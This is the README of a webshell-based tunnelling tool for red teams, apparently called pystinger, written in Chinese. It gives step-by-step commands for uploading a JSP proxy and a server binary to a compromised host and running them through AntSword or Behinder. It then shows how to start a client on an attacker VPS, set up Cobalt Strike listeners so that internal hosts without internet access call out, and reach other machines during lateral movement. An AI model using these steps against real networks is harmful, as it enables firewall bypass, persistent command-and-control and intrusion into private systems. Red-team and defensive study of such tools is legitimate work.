毒刺(pystinger)

bypass firewall by webshell 一款使用webshell进行流量转发的出网工具.

毒刺(pystinger)通过webshell实现内网SOCK4代理,端口映射.

可直接用于metasploit-framework,viper,cobalt strike上线.

主体使用python开发,当前支持php,jsp(x),aspx三种代理脚本.

原理介绍 : 红队攻防实践：不出网主机搭建内网隧道新思路

使用方法

假设不出网服务器域名为 http://example.com:8080 ,服务器内网IP地址为192.168.3.11

SOCK4代理

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 stinger XXX!
  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

  • vps执行./stinger_client -w http://example.com:8080/proxy.jsp -l 0.0.0.0 -p 60000
  • 如下输出表示成功

  • cobalt strike添加监听,端口选择输出信息RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.1
  • 生成payload,上传到主机运行后即可上线

cobalt strike多主机上线

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 stinger XXX!
  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe 192.168.3.11启动服务端

192.168.3.11可以改成0.0.0.0

  • cobalt strike添加监听,端口选择RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为192.168.3.11
  • 生成payload,上传到主机运行后即可上线
  • 横向移动到其他主机时可以将payload指向192.168.3.11:60020即可实现出网上线

定制Header及proxy

  • 如果webshell需要配置Cookie或者Authorization,可通过--header参数配置请求头

--header "Authorization: XXXXXX,Cookie: XXXXX"

  • 如果webshell需要通过代理访问,可通过--proxy设置代理

--proxy "socks5:127.0.0.1:1081"
